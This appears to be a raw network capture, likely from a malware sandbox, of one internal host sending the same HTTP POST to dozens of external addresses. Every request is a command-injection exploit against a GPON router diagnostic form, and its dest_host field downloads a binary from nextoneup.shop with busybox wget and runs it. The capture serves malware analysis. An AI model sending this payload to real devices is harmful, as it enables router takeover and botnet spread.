Apr 14, 2024 04:00:34.931327105 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1137	192.168.2.13	42932	202.30.205.106	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931345940 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1138	192.168.2.13	41242	118.156.226.230	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931359053 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1139	192.168.2.13	36068	212.220.85.168	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931364059 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1140	192.168.2.13	33610	178.123.45.61	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931375980 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1141	192.168.2.13	49682	5.89.88.248	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931377888 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1142	192.168.2.13	53624	210.234.187.175	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931379080 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1143	192.168.2.13	52914	202.217.209.129	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931400061 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1144	192.168.2.13	43410	202.59.175.60	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931427956 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1145	192.168.2.13	50432	212.48.212.105	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931432009 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1146	192.168.2.13	50736	148.99.19.159	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931444883 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1147	192.168.2.13	43940	79.235.207.110	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931473970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1148	192.168.2.13	60764	79.217.128.248	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931502104 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1149	192.168.2.13	58972	210.107.249.255	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931529045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1150	192.168.2.13	57180	94.61.16.223	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931571007 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1151	192.168.2.13	42524	42.185.3.57	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931592941 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1152	192.168.2.13	35602	212.223.112.179	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931602001 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1153	192.168.2.13	46682	212.47.118.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931621075 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1154	192.168.2.13	52526	118.111.98.182	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931649923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1155	192.168.2.13	50180	109.227.35.19	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931677103 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1156	192.168.2.13	53426	42.153.93.242	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931696892 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1157	192.168.2.13	45384	94.68.128.144	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931741953 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1158	192.168.2.13	57008	5.21.136.29	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931761980 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1159	192.168.2.13	36352	2.23.142.244	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931772947 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1160	192.168.2.13	55162	79.136.75.156	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931773901 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1161	192.168.2.13	43104	212.192.147.160	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.931803942 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

